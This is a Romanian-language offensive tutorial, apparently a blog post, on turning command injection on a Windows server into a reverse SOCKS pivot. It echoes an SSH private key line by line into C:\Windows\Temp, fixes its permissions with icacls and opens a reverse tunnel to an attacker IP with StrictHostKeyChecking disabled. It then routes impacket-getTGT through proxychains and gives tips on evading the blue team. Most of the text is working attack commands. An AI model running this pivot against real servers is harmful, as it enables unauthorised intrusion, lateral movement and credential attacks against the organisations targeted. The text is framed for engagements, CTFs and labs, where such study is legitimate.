Uneori poate apărea o situație (în cadrul angajamentelor, CTF-urilor, laboratoarelor de hacking) în care ai o injecție de comenzi pe un server, dar din anumite motive nu poți plasa un beacon C&C (serverul are mai multe soluții AV și nu ai timp să le cercetezi pe toate, AppLocker, fără PowerShell, etc.). Unii dintre voi s-ar putea să susțină că un astfel de scenariu este o fantezie pură, întrucât, odată ce poți injecta comenzi, vei urca întotdeauna la NT Authority/SYSTEM, vei pune beacon-ul Cobalt în funcțiune și vei instala și un server Lineage, toate acestea fără a declanșa alarme pentru echipa albastră.

Serverul parțial compromis poate acționa ca o poartă către regat, permițându-ți să aduci cavaleria grea printr-un proxy socks.

În scopul acestui exercițiu, presupunem că firewall-ul este prost configurat, permițând accesul SSH către, să zicem, gazde Azure (ceea ce este destul de comun).

Clientul SSH este instalat implicit pe serverele Windows 2019 și pe mașinile Windows 10. SSH este un instrument foarte puternic și legitim, care permite tot felul de trucuri de rețea. Dar pentru a-l folosi într-un mod non-interactiv, trebuie depășite câteva obstacole.

Un astfel de obstacol este întrebarea enervantă despre autenticitatea noului host la care încerci să te conectezi și, după cum îți amintești, nu avem nicio modalitate de a răspunde la întrebare, deoarece nu avem un shell interactiv.

Dar SSH are o opțiune pentru asta, „StrictHostKeyChecking”, care va face exact asta: va ignora verificarea autenticității și nu va mai pune acea întrebare enervantă.

Problema următoare este parola. SSH va cere parola, dar, fiind non-interactiv, nu o poți introduce. Din fericire, SSH poate fi utilizat fără parolă, folosind chei criptografice.

Însă nu poți pur și simplu să pui o cheie privată pe hostul compromis și să visezi că va funcționa așa. Clientul SSH va reclama despre privilegiile noii chei și va refuza să o încarce.

Dar nu te teme, deoarece Windows are utilitarul nativ de linie de comandă „icacls”, care poate fi folosit pentru a rezolva problemele de permisiuni ale cheii SSH.

Primul lucru de care ai nevoie este o pereche scurtă de chei criptografice publice/private (nu vrei să copiezi și să lipești prea mult). Eu am folosit algoritmul ecdsa pentru această sarcină.

ssh-keygen -t ecdsa -b 256

Asigură-te că folosești o mașină de atac de tip disposable, deoarece aceasta ar putea fi compromisă de către blue team. Utilizează un username random și copiază cheia publică în secțiunea ~/.ssh/authorized_keys pentru a permite hostului compromis să se conecteze la tine prin ssh.

Notează-ți SID-ul utilizatorului, deoarece vei avea nevoie de el ulterior.

whoami /all

Următorul pas este să transferăm cheia privată pe serverul compromis. Cheia noastră generată arată astfel:

O putem transfera treptat, câte o linie de fiecare dată, folosind:

cmd /c echo -----BEGIN OPENSSH PRIVATE KEY-----> C:\Windows\temp\a

cmd /c echo b3B............................zYS>> C:\Windows\temp\a

.

.

cmd /c echo -----END OPENSSH PRIVATE KEY----->> C:\Windows\temp\a

Cheia privată a fost transferată cu succes, dar permisiunile sunt prea permisive pentru preferințele clientului SSH.

cmd /c icacls C:\Windows\Temp\a

Îndepărtăm toate permisiunile de moștenire și adăugăm doar utilizatorul compromis cu drepturi de acces complete.

icacls C:\Windows\Temp\a /inheritance:r

icacls C:\Windows\Temp\a /grant *S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415:(F)

O verificare suplimentară ne va arăta noile permisiuni.

cmd /c icacls C:\Windows\Temp\a

În final, suntem gata pentru comanda SSH.

ssh -o StrictHostKeyChecking=no -i C:\Windows\Temp\a -N -f -R 9050 mike@172.16.85.151

Pe mașina noastră de atac observăm că SSH ascultă pe portul 9050.

Acum poți folosi „proxychains” pentru a redirecționa traficul prin tool-ul tău preferat:

proxychains impacket-getTGT ...............